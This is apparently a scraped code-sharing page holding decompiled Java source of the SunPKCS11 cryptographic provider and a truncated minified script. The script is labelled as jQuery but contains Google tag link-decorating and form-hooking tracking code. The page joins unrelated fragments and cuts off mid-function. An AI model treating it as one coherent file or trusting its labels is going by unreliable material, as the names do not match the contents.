0L; this.initToken(var33); if (var10 != null) { var10.setProvider(this); } } } catch (Exception var22) { if (this.config.getHandleStartupErrors() == 2) { throw new UnsupportedOperationException("Initialization failed", var22); } else { throw new ProviderException("Initialization failed", var22); } } } } private static String toString(long[] var0) { if (var0.length == 0) { return "(none)"; } else { StringBuilder var1 = new StringBuilder(); var1.append(var0[0]); for(int var2 = 1; var2 < var0.length; ++var2) { var1.append(", "); var1.append(var0[var2]); } return var1.toString(); } } public boolean equals(Object var1) { return this == var1; } public int hashCode() { return System.identityHashCode(this); } private static String[] s(String... var0) { return var0; } private static int[] m(long var0) { return new int[]{(int)var0}; } private static int[] m(long var0, long var2) { return new int[]{(int)var0, (int)var2}; } private static int[] m(long var0, long var2, long var4) { return new int[]{(int)var0, (int)var2, (int)var4}; } private static int[] m(long var0, long var2, long var4, long var6) { return new int[]{(int)var0, (int)var2, (int)var4, (int)var6}; } private static void d(String var0, String var1, String var2, int[] var3) { register(new SunPKCS11.Descriptor(var0, var1, var2, (String[])null, var3)); } private static void d(String var0, String var1, String var2, String[] var3, int[] var4) { register(new SunPKCS11.Descriptor(var0, var1, var2, var3, var4)); } private static void register(SunPKCS11.Descriptor var0) { for(int var1 = 0; var1 < var0.mechanisms.length; ++var1) { int var2 = var0.mechanisms[var1]; Integer var3 = var2; Object var4 = (List)descriptors.get(var3); if (var4 == null) { var4 = new ArrayList(); descriptors.put(var3, var4); } ((List)var4).add(var0); } } private void createPoller() { if (this.poller == null) { SunPKCS11.TokenPoller var1 = new SunPKCS11.TokenPoller(this); Thread var2 = new Thread(var1, "Poller " + this.getName()); var2.setDaemon(true); var2.setPriority(1); var2.start(); this.poller = var1; } } private void destroyPoller() { if (this.poller != null) { this.poller.disable(); this.poller = null; } } private boolean hasValidToken() { Token var1 = this.token; return var1 != null && var1.isValid(); } synchronized void uninitToken(Token var1) { if (this.token == var1) { this.destroyPoller(); this.token = null; AccessController.doPrivileged(new PrivilegedAction<Object>() { public Object run() { SunPKCS11.this.clear(); return null; } }); this.createPoller(); } } private void initToken(CK_SLOT_INFO var1) throws PKCS11Exception { if (var1 == null) { var1 = this.p11.C_GetSlotInfo(this.slotID); } if (this.removable && (var1.flags & 1L) == 0L) { this.createPoller(); } else { this.destroyPoller(); boolean var2 = this.config.getShowInfo(); if (var2) { System.out.println("Slot info for slot " + this.slotID + ":"); System.out.println(var1); } final Token var3 = new Token(this); if (var2) { System.out.println("Token info for token in slot " + this.slotID + ":"); System.out.println(var3.tokenInfo); } long[] var4 = this.p11.C_GetMechanismList(this.slotID); final HashMap var5 = new HashMap(); label79: for(int var6 = 0; var6 < var4.length; ++var6) { long var7 = var4[var6]; boolean var9 = this.config.isEnabled(var7); if (var2) { CK_MECHANISM_INFO var10 = this.p11.C_GetMechanismInfo(this.slotID, var7); System.out.println("Mechanism " + Functions.getMechanismName(var7) + ":"); if (!var9) { System.out.println("DISABLED in configuration"); } System.out.println(var10); } if (var9 && var7 >>> 32 == 0L) { int var19 = (int)var7; Integer var11 = var19; List var12 = (List)descriptors.get(var11); if (var12 != null) { Iterator var13 = var12.iterator(); while(true) { while(true) { if (!var13.hasNext()) { continue label79; } SunPKCS11.Descriptor var14 = (SunPKCS11.Descriptor)var13.next(); Integer var15 = (Integer)var5.get(var14); if (var15 == null) { var5.put(var14, var11); } else { int var16 = var15; for(int var17 = 0; var17 < var14.mechanisms.length; ++var17) { int var18 = var14.mechanisms[var17]; if (var19 == var18) { var5.put(var14, var11); break; } if (var16 == var18) { break; } } } } } } } } AccessController.doPrivileged(new PrivilegedAction<Object>() { public Object run() { Iterator var1 = var5.entrySet().iterator(); while(var1.hasNext()) { Entry var2 = (Entry)var1.next(); SunPKCS11.Descriptor var3x = (SunPKCS11.Descriptor)var2.getKey(); int var4 = (Integer)var2.getValue(); SunPKCS11.P11Service var5x = var3x.service(var3, var4); SunPKCS11.this.putService(var5x); } if ((var3.tokenInfo.flags & 1L) != 0L && SunPKCS11.this.config.isEnabled(2147483424L) && !var3.sessionManager.lowMaxSessions()) { SunPKCS11.this.putService(new SunPKCS11.P11Service(var3, "SecureRandom", "PKCS11", "sun.security.pkcs11.P11SecureRandom", (String[])null, 2147483424L)); } if (SunPKCS11.this.config.isEnabled(2147483425L)) { SunPKCS11.this.putService(new SunPKCS11.P11Service(var3, "KeyStore", "PKCS11", "sun.security.pkcs11.P11KeyStore", SunPKCS11.s("PKCS11-" + SunPKCS11.this.config.getName()), 2147483425L)); } return null; } }); this.token = var3; } } public void login(Subject var1, CallbackHandler var2) throws LoginException { SecurityManager var3 = System.getSecurityManager(); if (var3 != null) { if (debug != null) { debug.println("checking login permission"); } var3.checkPermission(new SecurityPermission("authProvider." + this.getName())); } if (!this.hasValidToken()) { throw new LoginException("No token present"); } else if ((this.token.tokenInfo.flags & 4L) == 0L) { if (debug != null) { debug.println("login operation not required for token - ignoring login request"); } } else { try { if (this.token.isLoggedInNow((Session)null)) { if (debug != null) { debug.println("user already logged in"); } return; } } catch (PKCS11Exception var18) { ; } char[] var4 = null; if ((this.token.tokenInfo.flags & 256L) == 0L) { CallbackHandler var5 = this.getCallbackHandler(var2); if (var5 == null) { throw new LoginException("no password provided, and no callback handler available for retrieving password"); } MessageFormat var6 = new MessageFormat(ResourcesMgr.getString("PKCS11.Token.providerName.Password.")); Object[] var7 = new Object[]{this.getName()}; PasswordCallback var8 = new PasswordCallback(var6.format(var7), false); Callback[] var9 = new Callback[]{var8}; try { var5.handle(var9); } catch (Exception var17) { LoginException var11 = new LoginException("Unable to perform password callback"); var11.initCause(var17); throw var11; } var4 = var8.getPassword(); var8.clearPassword(); if (var4 == null && debug != null) { debug.println("caller passed NULL pin"); } } Session var21 = null; try { try { var21 = this.token.getOpSession(); this.p11.C_Login(var21.id(), 1L, var4); if (debug != null) { debug.println("login succeeded"); } return; } catch (PKCS11Exception var19) { if (var19.getErrorCode() != 256L) { if (var19.getErrorCode() == 160L) { FailedLoginException var23 = new FailedLoginException(); var23.initCause(var19); throw var23; } LoginException var22 = new LoginException(); var22.initCause(var19); throw var22; } } if (debug != null) { debug.println("user already logged in"); } } finally { this.token.releaseSession(var21); if (var4 != null) { Arrays.fill(var4, ' '); } } } } public void logout() throws LoginException { SecurityManager var1 = System.getSecurityManager(); if (var1 != null) { var1.checkPermission(new SecurityPermission("authProvider." + this.getName())); } if (this.hasValidToken()) { if ((this.token.tokenInfo.flags & 4L) == 0L) { if (debug != null) { debug.println("logout operation not required for token - ignoring logout request"); } } else { try { if (!this.token.isLoggedInNow((Session)null)) { if (debug != null) { debug.println("user not logged in"); } return; } } catch (PKCS11Exception var9) { ; } Session var2 = null; try { var2 = this.token.getOpSession(); this.p11.C_Logout(var2.id()); if (debug != null) { debug.println("logout succeeded"); } return; } catch (PKCS11Exception var10) { if (var10.getErrorCode() != 257L) { LoginException var4 = new LoginException(); var4.initCause(var10); throw var4; } if (debug != null) { debug.println("user not logged in"); } } finally { this.token.releaseSession(var2); } } } } public void setCallbackHandler(CallbackHandler var1) { SecurityManager var2 = System.getSecurityManager(); if (var2 != null) { var2.checkPermission(new SecurityPermission("authProvider." + this.getName())); } Object var3 = this.LOCK_HANDLER; synchronized(this.LOCK_HANDLER) { this.pHandler = var1; } } private CallbackHandler getCallbackHandler(CallbackHandler var1) { if (var1 != null) { return var1; } else { if (debug != null) { debug.println("getting provider callback handler"); } Object var2 = this.LOCK_HANDLER; synchronized(this.LOCK_HANDLER) { if (this.pHandler != null) { return this.pHandler; } else { CallbackHandler var10000; try { if (debug != null) { debug.println("getting default callback handler"); } CallbackHandler var3 = (CallbackHandler)AccessController.doPrivileged(new PrivilegedExceptionAction<CallbackHandler>() { public CallbackHandler run() throws Exception { String var1 = Security.getProperty("auth.login.defaultCallbackHandler"); if (var1 != null && var1.length() != 0) { Class var2 = Class.forName(var1, true, Thread.currentThread().getContextClassLoader()); return (CallbackHandler)var2.newInstance(); } else { if (SunPKCS11.debug != null) { SunPKCS11.debug.println("no default handler set"); } return null; } } }); this.pHandler = var3; var10000 = var3; } catch (PrivilegedActionException var5) { if (debug != null) { debug.println("Unable to load default callback handler"); var5.printStackTrace(); } return null; } return var10000; } } } } private Object writeReplace() throws ObjectStreamException { return new SunPKCS11.SunPKCS11Rep(this); } static { String var0 = "sun.security.pkcs11.P11Digest"; String var1 = "sun.security.pkcs11.P11MAC"; String var2 = "sun.security.pkcs11.P11KeyPairGenerator"; String var3 = "sun.security.pkcs11.P11KeyGenerator"; String var4 = "sun.security.pkcs11.P11RSAKeyFactory"; String var5 = "sun.security.pkcs11.P11DSAKeyFactory"; String var6 = "sun.security.pkcs11.P11DHKeyFactory"; String var7 = "sun.security.pkcs11.P11KeyAgreement"; String var8 = "sun.security.pkcs11.P11SecretKeyFactory"; String var9 = "sun.security.pkcs11.P11Cipher"; String var10 = "sun.security.pkcs11.P11RSACipher"; String var11 = "sun.security.pkcs11.P11Signature"; d("MessageDigest", "MD2", var0, m(512L)); d("MessageDigest", "MD5", var0, m(528L)); d("MessageDigest", "SHA1", var0, s("SHA", "SHA-1", "1.3.14.3.2.26", "OID.1.3.14.3.2.26"), m(544L)); d("MessageDigest", "SHA-224", var0, s("2.16.840.1.101.3.4.2.4", "OID.2.16.840.1.101.3.4.2.4"), m(597L)); d("MessageDigest", "SHA-256", var0, s("2.16.840.1.101.3.4.2.1", "OID.2.16.840.1.101.3.4.2.1"), m(592L)); d("MessageDigest", "SHA-384", var0, s("2.16.840.1.101.3.4.2.2", "OID.2.16.840.1.101.3.4.2.2"), m(608L)); d("MessageDigest", "SHA-512", var0, s("2.16.840.1.101.3.4.2.3", "OID.2.16.840.1.101.3.4.2.3"), m(624L)); d("Mac", "HmacMD5", var1, m(529L)); d("Mac", "HmacSHA1", var1, s("1.2.840.113549.2.7", "OID.1.2.840.113549.2.7"), m(545L)); d("Mac", "HmacSHA224", var1, s("1.2.840.113549.2.8", "OID.1.2.840.113549.2.8"), m(598L)); d("Mac", "HmacSHA256", var1, s("1.2.840.113549.2.9", "OID.1.2.840.113549.2.9"), m(593L)); d("Mac", "HmacSHA384", var1, s("1.2.840.113549.2.10", "OID.1.2.840.113549.2.10"), m(609L)); d("Mac", "HmacSHA512", var1, s("1.2.840.113549.2.11", "OID.1.2.840.113549.2.11"), m(625L)); d("Mac", "SslMacMD5", var1, m(896L)); d("Mac", "SslMacSHA1", var1, m(897L)); d("KeyPairGenerator", "RSA", var2, m(0L)); d("KeyPairGenerator", "DSA", var2, s("1.3.14.3.2.12", "1.2.840.10040.4.1", "OID.1.2.840.10040.4.1"), m(16L)); d("KeyPairGenerator", "DH", var2, s("DiffieHellman"), m(32L)); d("KeyPairGenerator", "EC", var2, m(4160L)); d("KeyGenerator", "ARCFOUR", var3, s("RC4"), m(272L)); d("KeyGenerator", "DES", var3, m(288L)); d("KeyGenerator", "DESede", var3, m(305L, 304L)); d("KeyGenerator", "AES", var3, m(4224L)); d("KeyGenerator", "Blowfish", var3, m(4240L)); d("KeyFactory", "RSA", var4, m(0L, 1L, 3L)); d("KeyFactory", "DSA", var5, s("1.3.14.3.2.12", "1.2.840.10040.4.1", "OID.1.2.840.10040.4.1"), m(16L, 17L, 18L)); d("KeyFactory", "DH", var6, s("DiffieHellman"), m(32L, 33L)); d("KeyFactory", "EC", var6, m(4160L, 4176L, 4161L, 4162L)); d("AlgorithmParameters", "EC", "sun.security.ec.ECParameters", s("1.2.840.10045.2.1"), m(4160L, 4176L, 4161L, 4162L)); d("KeyAgreement", "DH", var7, s("DiffieHellman"), m(33L)); d("KeyAgreement", "ECDH", "sun.security.pkcs11.P11ECDHKeyAgreement", m(4176L)); d("SecretKeyFactory", "ARCFOUR", var8, s("RC4"), m(273L)); d("SecretKeyFactory", "DES", var8, m(290L)); d("SecretKeyFactory", "DESede", var8, m(307L)); d("SecretKeyFactory", "AES", var8, s("2.16.840.1.101.3.4.1", "OID.2.16.840.1.101.3.4.1"), m(4226L)); d("SecretKeyFactory", "Blowfish", var8, m(4241L)); d("Cipher", "ARCFOUR", var9, s("RC4"), m(273L)); d("Cipher", "DES/CBC/NoPadding", var9, m(290L)); d("Cipher", "DES/CBC/PKCS5Padding", var9, m(293L, 290L)); d("Cipher", "DES/ECB/NoPadding", var9, m(289L)); d("Cipher", "DES/ECB/PKCS5Padding", var9, s("DES"), m(289L)); d("Cipher", "DESede/CBC/NoPadding", var9, m(307L)); d("Cipher", "DESede/CBC/PKCS5Padding", var9, m(310L, 307L)); d("Cipher", "DESede/ECB/NoPadding", var9, m(306L)); d("Cipher", "DESede/ECB/PKCS5Padding", var9, s("DESede"), m(306L)); d("Cipher", "AES/CBC/NoPadding", var9, m(4226L)); d("Cipher", "AES_128/CBC/NoPadding", var9, s("2.16.840.1.101.3.4.1.2", "OID.2.16.840.1.101.3.4.1.2"), m(4226L)); d("Cipher", "AES_192/CBC/NoPadding", var9, s("2.16.840.1.101.3.4.1.22", "OID.2.16.840.1.101.3.4.1.22"), m(4226L)); d("Cipher", "AES_256/CBC/NoPadding", var9, s("2.16.840.1.101.3.4.1.42", "OID.2.16.840.1.101.3.4.1.42"), m(4226L)); d("Cipher", "AES/CBC/PKCS5Padding", var9, m(4229L, 4226L)); d("Cipher", "AES/ECB/NoPadding", var9, m(4225L)); d("Cipher", "AES_128/ECB/NoPadding", var9, s("2.16.840.1.101.3.4.1.1", "OID.2.16.840.1.101.3.4.1.1"), m(4225L)); d("Cipher", "AES_192/ECB/NoPadding", var9, s("2.16.840.1.101.3.4.1.21", "OID.2.16.840.1.101.3.4.1.21"), m(4225L)); d("Cipher", "AES_256/ECB/NoPadding", var9, s("2.16.840.1.101.3.4.1.41", "OID.2.16.840.1.101.3.4.1.41"), m(4225L)); d("Cipher", "AES/ECB/PKCS5Padding", var9, s("AES"), m(4225L)); d("Cipher", "AES/CTR/NoPadding", var9, m(4230L)); d("Cipher", "Blowfish/CBC/NoPadding", var9, m(4241L)); d("Cipher", "Blowfish/CBC/PKCS5Padding", var9, m(4241L)); d("Cipher", "RSA/ECB/PKCS1Padding", var10, s("RSA"), m(1L)); d("Cipher", "RSA/ECB/NoPadding", var10, m(3L)); d("Signature", "RawDSA", var11, s("NONEwithDSA"), m(17L)); d("Signature", "DSA", var11, s("SHA1withDSA", "1.3.14.3.2.13", "1.3.14.3.2.27", "1.2.840.10040.4.3", "OID.1.2.840.10040.4.3"), m(18L, 17L)); d("Signature", "NONEwithECDSA", var11, m(4161L)); d("Signature", "SHA1withECDSA", var11, s("ECDSA", "1.2.840.10045.4.1", "OID.1.2.840.10045.4.1"), m(4162L, 4161L)); d("Signature", "SHA224withECDSA", var11, s("1.2.840.10045.4.3.1", "OID.1.2.840.10045.4.3.1"), m(4161L)); d("Signature", "SHA256withECDSA", var11, s("1.2.840.10045.4.3.2", "OID.1.2.840.10045.4.3.2"), m(4161L)); d("Signature", "SHA384withECDSA", var11, s("1.2.840.10045.4.3.3", "OID.1.2.840.10045.4.3.3"), m(4161L)); d("Signature", "SHA512withECDSA", var11, s("1.2.840.10045.4.3.4", "OID.1.2.840.10045.4.3.4"), m(4161L)); d("Signature", "MD2withRSA", var11, s("1.2.840.113549.1.1.2", "OID.1.2.840.113549.1.1.2"), m(4L, 1L, 3L)); d("Signature", "MD5withRSA", var11, s("1.2.840.113549.1.1.4", "OID.1.2.840.113549.1.1.4"), m(5L, 1L, 3L)); d("Signature", "SHA1withRSA", var11, s("1.2.840.113549.1.1.5", "OID.1.2.840.113549.1.1.5", "1.3.14.3.2.29"), m(6L, 1L, 3L)); d("Signature", "SHA224withRSA", var11, s("1.2.840.113549.1.1.14", "OID.1.2.840.113549.1.1.14"), m(70L, 1L, 3L)); d("Signature", "SHA256withRSA", var11, s("1.2.840.113549.1.1.11", "OID.1.2.840.113549.1.1.11"), m(64L, 1L, 3L)); d("Signature", "SHA384withRSA", var11, s("1.2.840.113549.1.1.12", "OID.1.2.840.113549.1.1.12"), m(65L, 1L, 3L)); d("Signature", "SHA512withRSA", var11, s("1.2.840.113549.1.1.13", "OID.1.2.840.113549.1.1.13"), m(66L, 1L, 3L)); d("KeyGenerator", "SunTlsRsaPremasterSecret", "sun.security.pkcs11.P11TlsRsaPremasterSecretGenerator", m(880L, 884L)); d("KeyGenerator", "SunTlsMasterSecret", "sun.security.pkcs11.P11TlsMasterSecretGenerator", m(881L, 885L, 883L, 887L)); d("KeyGenerator", "SunTlsKeyMaterial", "sun.security.pkcs11.P11TlsKeyMaterialGenerator", m(882L, 886L)); d("KeyGenerator", "SunTlsPrf", "sun.security.pkcs11.P11TlsPrfGenerator", m(888L, 2147484531L)); } private static class SunPKCS11Rep implements Serializable { static final long serialVersionUID = -2896606995897745419L; private final String providerName; private final String configName; SunPKCS11Rep(SunPKCS11 var1) throws NotSerializableException { this.providerName = var1.getName(); this.configName = var1.configName; if (Security.getProvider(this.providerName) != var1) { throw new NotSerializableException("Only SunPKCS11 providers installed in java.security.Security can be serialized"); } } private Object readResolve() throws ObjectStreamException { SunPKCS11 var1 = (SunPKCS11)Security.getProvider(this.providerName); if (var1 != null && var1.configName.equals(this.configName)) { return var1; } else { throw new NotSerializableException("Could not find " + this.providerName + " in installed providers"); } } } private static final class P11Service extends Service { private final Token token; private final long mechanism; P11Service(Token var1, String var2, String var3, String var4, String[] var5, long var6) { super(var1.provider, var2, var3, var4, toList(var5), (Map)null); this.token = var1; this.mechanism = var6 & 4294967295L; } private static List<String> toList(String[] var0) { return var0 == null ? null : Arrays.asList(var0); } public Object newInstance(Object var1) throws NoSuchAlgorithmException { if (!this.token.isValid()) { throw new NoSuchAlgorithmException("Token has been removed"); } else { try { return this.newInstance0(var1); } catch (PKCS11Exception var3) { throw new NoSuchAlgorithmException(var3); } } } public Object newInstance0(Object var1) throws PKCS11Exception, NoSuchAlgorithmException { String var2 = this.getAlgorithm(); String var3 = this.getType(); if (var3 == "MessageDigest") { return new P11Digest(this.token, var2, this.mechanism); } else if (var3 == "Cipher") { return var2.startsWith("RSA") ? new P11RSACipher(this.token, var2, this.mechanism) : new P11Cipher(this.token, var2, this.mechanism); } else if (var3 == "Signature") { return new P11Signature(this.token, var2, this.mechanism); } else if (var3 == "Mac") { return new P11Mac(this.token, var2, this.mechanism); } else if (var3 == "KeyPairGenerator") { return new P11KeyPairGenerator(this.token, var2, this.mechanism); } else if (var3 == "KeyAgreement") { return var2.equals("ECDH") ? new P11ECDHKeyAgreement(this.token, var2, this.mechanism) : new P11KeyAgreement(this.token, var2, this.mechanism); } else if (var3 == "KeyFactory") { return this.token.getKeyFactory(var2); } else if (var3 == "SecretKeyFactory") { return new P11SecretKeyFactory(this.token, var2); } else if (var3 == "KeyGenerator") { if (var2 == "SunTlsRsaPremasterSecret") { return new P11TlsRsaPremasterSecretGenerator(this.token, var2, this.mechanism); } else if (var2 == "SunTlsMasterSecret") { return new P11TlsMasterSecretGenerator(this.token, var2, this.mechanism); } else if (var2 == "SunTlsKeyMaterial") { return new P11TlsKeyMaterialGenerator(this.token, var2, this.mechanism); } else { return var2 == "SunTlsPrf" ? new P11TlsPrfGenerator(this.token, var2, this.mechanism) : new P11KeyGenerator(this.token, var2, this.mechanism); } } else if (var3 == "SecureRandom") { return this.token.getRandom(); } else if (var3 == "KeyStore") { return this.token.getKeyStore(); } else if (var3 == "AlgorithmParameters") { return new ECParameters(); } else { throw new NoSuchAlgorithmException("Unknown type: " + var3); } } public boolean supportsParameter(Object var1) { if (var1 != null && this.token.isValid()) { if (!(var1 instanceof Key)) { throw new InvalidParameterException("Parameter must be a Key"); } else { String var2 = this.getAlgorithm(); String var3 = this.getType(); Key var4 = (Key)var1; String var5 = var4.getAlgorithm(); if (var3 == "Cipher" && var2.startsWith("RSA") || var3 == "Signature" && var2.endsWith("RSA")) { if (!var5.equals("RSA")) { return false; } else { return this.isLocalKey(var4) || var4 instanceof RSAPrivateKey || var4 instanceof RSAPublicKey; } } else if (var3 == "KeyAgreement" && var2.equals("ECDH") || var3 == "Signature" && var2.endsWith("ECDSA")) { if (!var5.equals("EC")) { return false; } else { return this.isLocalKey(var4) || var4 instanceof ECPrivateKey || var4 instanceof ECPublicKey; } } else if (var3 == "Signature" && var2.endsWith("DSA")) { if (!var5.equals("DSA")) { return false; } else { return this.isLocalKey(var4) || var4 instanceof DSAPrivateKey || var4 instanceof DSAPublicKey; } } else if (var3 != "Cipher" && var3 != "Mac") { if (var3 == "KeyAgreement") { if (!var5.equals("DH")) { return false; } else { return this.isLocalKey(var4) || var4 instanceof DHPrivateKey || var4 instanceof DHPublicKey; } } else { throw new AssertionError("SunPKCS11 error: " + var3 + ", " + var2); } } else { return this.isLocalKey(var4) || "RAW".equals(var4.getFormat()); } } } else { return false; } } private boolean isLocalKey(Key var1) { return var1 instanceof P11Key && ((P11Key)var1).token == this.token; } public String toString() { return super.toString() + " (" + Functions.getMechanismName(this.mechanism) + ")"; } } private static class TokenPoller implements Runnable { private final SunPKCS11 provider; private volatile boolean enabled; private TokenPoller(SunPKCS11 var1) { this.provider = var1; this.enabled = true; } public void run() { int var1 = this.provider.config.getInsertionCheckInterval(); while(this.enabled) { try { Thread.sleep((long)var1); } catch (InterruptedException var4) { break; } if (!this.enabled) { break; } try { this.provider.initToken((CK_SLOT_INFO)null); } catch (PKCS11Exception var3) { ; } } } void disable() { this.enabled = false; } } private static final class Descriptor { final String type; final String algorithm; final String className; final String[] aliases; final int[] mechanisms; private Descriptor(String var1, String var2, String var3, String[] var4, int[] var5) { this.type = var1; this.algorithm = var2; this.className = var3; this.aliases = var4; this.mechanisms = var5; } private SunPKCS11.P11Service service(Token var1, int var2) { return new SunPKCS11.P11Service(var1, this.type, this.algorithm, this.className, this.aliases, (long)var2); } public String toString() { return this.type + "." + this.algorithm; } } }

    From user lord925

  • marmollie101 / https-static.cargo.site-libs-cargo.apicore.package.jquery213.min.js-19-09-30.1-

    unknown-21-m, (function(){var k=this||self,l=function(a,b){a=a.split(".");var c=k;a[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length||void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};var n=function(a,b){for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c])},p=function(a){for(var b in a)if(a.hasOwnProperty(b))return!0;return!1};var q=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;var r=window,u=document,v=function(a,b){u.addEventListener?u.addEventListener(a,b,!1):u.attachEvent&&u.attachEvent("on"+a,b)};var w={},x=function(){w.TAGGING=w.TAGGING||[];w.TAGGING[1]=!0};var y=/:[0-9]+$/,A=function(a,b){b&&(b=String(b).toLowerCase());if("protocol"===b||"port"===b)a.protocol=z(a.protocol)||z(r.location.protocol);"port"===b?a.port=String(Number(a.hostname?a.port:r.location.port)||("http"==a.protocol?80:"https"==a.protocol?443:"")):"host"===b&&(a.hostname=(a.hostname||r.location.hostname).replace(y,"").toLowerCase());var c=z(a.protocol);b&&(b=String(b).toLowerCase());switch(b){case "url_no_fragment":b="";a&&a.href&&(b=a.href.indexOf("#"),b=0>b?a.href:a.href.substr(0, b));a=b;break;case "protocol":a=c;break;case "host":a=a.hostname.replace(y,"").toLowerCase();break;case "port":a=String(Number(a.port)||("http"==c?80:"https"==c?443:""));break;case "path":a.pathname||a.hostname||x();a="/"==a.pathname.substr(0,1)?a.pathname:"/"+a.pathname;a=a.split("/");a:if(b=a[a.length-1],c=[],Array.prototype.indexOf)b=c.indexOf(b),b="number"==typeof b?b:-1;else{for(var d=0;d<c.length;d++)if(c[d]===b){b=d;break a}b=-1}0<=b&&(a[a.length-1]="");a=a.join("/");break;case "query":a=a.search.replace("?", "");break;case "extension":a=a.pathname.split(".");a=1<a.length?a[a.length-1]:"";a=a.split("/")[0];break;case "fragment":a=a.hash.replace("#","");break;default:a=a&&a.href}return a},z=function(a){return a?a.replace(":","").toLowerCase():""},B=function(a){var b=u.createElement("a");a&&(b.href=a);var c=b.pathname;"/"!==c[0]&&(a||x(),c="/"+c);a=b.hostname.replace(y,"");return{href:b.href,protocol:b.protocol,host:b.host,hostname:a,pathname:c,search:b.search,hash:b.hash,port:b.port}};function C(){for(var a=D,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function E(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."} var D,F,G=function(a){D=D||E();F=F||C();for(var b=[],c=0;c<a.length;c+=3){var d=c+1<a.length,e=c+2<a.length,g=a.charCodeAt(c),f=d?a.charCodeAt(c+1):0,h=e?a.charCodeAt(c+2):0,m=g>>2;g=(g&3)<<4|f>>4;f=(f&15)<<2|h>>6;h&=63;e||(h=64,d||(f=64));b.push(D[m],D[g],D[f],D[h])}return b.join("")},H=function(a){function b(m){for(;d<a.length;){var t=a.charAt(d++),L=F[t];if(null!=L)return L;if(!/^[\s\xa0]*$/.test(t))throw Error("Unknown base64 encoding at char: "+t);}return m}D=D||E();F=F||C();for(var c="",d=0;;){var e= b(-1),g=b(0),f=b(64),h=b(64);if(64===h&&-1===e)return c;c+=String.fromCharCode(e<<2|g>>4);64!=f&&(c+=String.fromCharCode(g<<4&240|f>>2),64!=h&&(c+=String.fromCharCode(f<<6&192|h)))}};var I;function J(a,b){if(!a||b===u.location.hostname)return!1;for(var c=0;c<a.length;c++)if(a[c]instanceof RegExp){if(a[c].test(b))return!0}else if(0<=b.indexOf(a[c]))return!0;return!1} var O=function(){var a=K,b=M,c=N(),d=function(f){a(f.target||f.srcElement||{})},e=function(f){b(f.target||f.srcElement||{})};if(!c.init){v("mousedown",d);v("keyup",d);v("submit",e);var g=HTMLFormElement.prototype.submit;HTMLFormElement.prototype.submit=function(){b(this);g.call(this)};c.init=!0}},N=function(){var a={};var b=r.google_tag_data;r.google_tag_data=void 0===b?a:b;a=r.google_tag_data;b=a.gl;b&&b.decorators||(b={decorators:[]},a.gl=b);return b};var P=/(.*?)\*(.*?)\*(.*)/,Q=/([^?#]+)(\?[^#]*)?(#.*)?/,R=/(.*?)(^|&)_gl=([^&]*)&?(.*)/,T=function(a){var b=[],c;for(c in a)if(a.hasOwnProperty(c)){var d=a[c];void 0!==d&&d===d&&null!==d&&"[object Object]"!==d.toString()&&(b.push(c),b.push(G(String(d))))}a=b.join("*");return["1",S(a),a].join("*")},S=function(a,b){a=[window.navigator.userAgent,(new Date).getTimezoneOffset(),window.navigator.userLanguage||window.navigator.language,Math.floor((new Date).getTime()/60/1E3)-(void 0===b?0:b),a].join("*"); if(!(b=I)){b=Array(256);for(var c=0;256>c;c++){for(var d=c,e=0;8>e;e++)d=d&1?d>>>1^3988292384:d>>>1;b[c]=d}}I=b;b=4294967295;for(c=0;c<a.length;c++)b=b>>>8^I[(b^a.charCodeAt(c))&255];return((b^-1)>>>0).toString(36)},ba=function(a){return function(b){var c=B(r.location.href),d=c.search.replace("?","");a:{var e=d.split("&");for(var g=0;g<e.length;g++){var f=e[g].split("=");if("_gl"===decodeURIComponent(f[0]).replace(/\+/g," ")){e=f.slice(1).join("=");break a}}e=void 0}b.query=U(e||"")||{};e=A(c,"fragment"); g=e.match(R);b.fragment=U(g&&g[3]||"")||{};a&&aa(c,d,e)}};function V(a){var b=R.exec(a);if(b){var c=b[2],d=b[4];a=b[1];d&&(a=a+c+d)}return a} var aa=function(a,b,c){function d(e,g){e=V(e);e.length&&(e=g+e);return e}r.history&&r.history.replaceState&&(R.test(b)||R.test(c))&&(a=A(a,"path"),b=d(b,"?"),c=d(c,"#"),r.history.replaceState({},void 0,""+a+b+c))},U=function(a){var b=void 0===b?3:b;try{if(a){a:{for(var c=0;3>c;++c){var d=P.exec(a);if(d){var e=d;break a}a=decodeURIComponent(a)}e=void 0}if(e&&"1"===e[1]){var g=e[2],f=e[3];a:{for(e=0;e<b;++e)if(g===S(f,e)){var h=!0;break a}h=!1}if(h){b={};var m=f?f.split("*"):[];for(f=0;f<m.length;f+= 2)b[m[f]]=H(m[f+1]);return b}}}}catch(t){}};function W(a,b,c){function d(h){h=V(h);var m=h.charAt(h.length-1);h&&"&"!==m&&(h+="&");return h+f}c=void 0===c?!1:c;var e=Q.exec(b);if(!e)return"";b=e[1];var g=e[2]||"";e=e[3]||"";var f="_gl="+a;c?e="#"+d(e.substring(1)):g="?"+d(g.substring(1));return""+b+g+e} function X(a,b,c){for(var d={},e={},g=N().decorators,f=0;f<g.length;++f){var h=g[f];(!c||h.forms)&&J(h.domains,b)&&(h.fragment?n(e,h.callback()):n(d,h.callback()))}p(d)&&(b=T(d),c?Y(b,a):Z(b,a,!1));!c&&p(e)&&(c=T(e),Z(c,a,!0))}function Z(a,b,c){b.href&&(a=W(a,b.href,void 0===c?!1:c),q.test(a)&&(b.href=a))} function Y(a,b){if(b&&b.action){var c=(b.method||"").toLowerCase();if("get"===c){c=b.childNodes||[];for(var d=!1,e=0;e<c.length;e++){var g=c[e];if("_gl"===g.name){g.setAttribute("value",a);d=!0;break}}d||(c=u.createElement("input"),c.setAttribute("type","hidden"),c.setAttribute("name","_gl"),c.setAttribute("value",a),b.appendChild(c))}else"post"===c&&(a=W(a,b.action),q.test(a)&&(b.action=a))}} var K=function(a){try{a:{for(var b=100;a&&0<b;){if(a.href&&a.nodeName.match(/^a(?:rea)?$/i)){var c=a;break a}a=a.parentNode;b--}c=null}if(c){var d=c.protocol;"http:"!==d&&"https:"!==d||X(c,c.hostname,!1)}}catch(e){}},M=function(a){try{if(a.action){var 